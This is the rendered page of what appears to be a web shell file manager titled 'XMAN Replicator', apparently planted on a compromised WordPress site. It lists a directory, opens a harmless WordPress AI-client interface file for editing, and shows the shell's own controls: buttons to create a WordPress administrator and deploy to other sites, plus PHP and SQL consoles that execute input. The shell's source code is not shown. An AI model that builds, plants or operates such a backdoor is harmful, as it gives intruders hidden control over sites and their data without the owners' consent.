🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
home
/
vestsxzf
/
public_html
/
wp-includes
/
php-ai-client
/
src
/
Providers
/
Models
/
Contracts
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2026-05-21 03:03
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2026-05-21 03:03
🔄
🗑️
🗑️📁
⬇️
🔒
ModelInterface.php
1,263 B
-rw-r--r--
2026-05-21 03:03
✏️
🔄
🗑️
⬇️
🔒
Edit: ModelInterface.php
<?php declare (strict_types=1); namespace WordPress\AiClient\Providers\Models\Contracts; use WordPress\AiClient\Providers\DTO\ProviderMetadata; use WordPress\AiClient\Providers\Models\DTO\ModelConfig; use WordPress\AiClient\Providers\Models\DTO\ModelMetadata; /** * Interface for AI models. * * Models represent specific AI models from providers and define * their capabilities, configuration, and execution methods. * * @since 0.1.0 */ interface ModelInterface { /** * Gets model metadata. * * @since 0.1.0 * * @return ModelMetadata Model metadata. */ public function metadata(): ModelMetadata; /** * Returns the metadata for the model's provider. * * @since 0.1.0 * * @return ProviderMetadata The provider metadata. */ public function providerMetadata(): ProviderMetadata; /** * Sets model configuration. * * @since 0.1.0 * * @param ModelConfig $config Model configuration. * @return void */ public function setConfig(ModelConfig $config): void; /** * Gets model configuration. * * @since 0.1.0 * * @return ModelConfig Current model configuration. */ public function getConfig(): ModelConfig; }
Save
PHP Console
Execute
SQL Console
Execute